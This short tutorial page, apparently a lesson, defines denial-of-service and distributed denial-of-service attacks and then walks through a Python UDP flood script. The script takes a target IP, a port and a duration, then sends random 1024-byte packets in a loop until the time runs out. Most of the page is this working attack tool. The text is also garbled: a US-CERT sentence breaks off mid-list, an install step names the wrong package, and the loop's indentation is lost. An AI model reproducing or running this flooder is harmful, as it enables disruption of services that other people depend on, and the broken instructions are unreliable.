Using Python
Lecturer: Иo1lz
a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to the Internet.
A distributed denial-of-service (DDoS) is a large-scale DoS attack where the perpetrator uses more than one unique IP address, often from thousands of hosts infected with malware.
The United States Computer Emergency Readiness Team (US-CERT) has identified symptoms of a denial-of-service attack to include:
import os
import sys
import time
import socket
import random
import the extension
Install socket
pip install sockets
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1024)
print("This is a simple tool for UDP DoS.")
set socket and packet
parameter | details |
---|---|
socket.AF_INET | for IPv4 |
socket.AF_INET6 | for IPv6 |
parameter | details |
---|---|
socket.SOCK_STREAM | TCP |
socket.SOCK_DGRAM | UDP |
Input target IP and set timeout.
ip = input("Target ip or url: ")
port = int(input("Port: "))
dur = int(input("Time: "))
Count timeout
timeout = time.time() + dur
sent = 0
DoS execution
while True:
try:
if time.time() > timeout:
break
else:
pass
sock.sendto(bytes, (ip, port))
sent += 1
print("Sent %s packets to %s" % (sent, ip))
except KeyboardInterrupt:
sys.exit()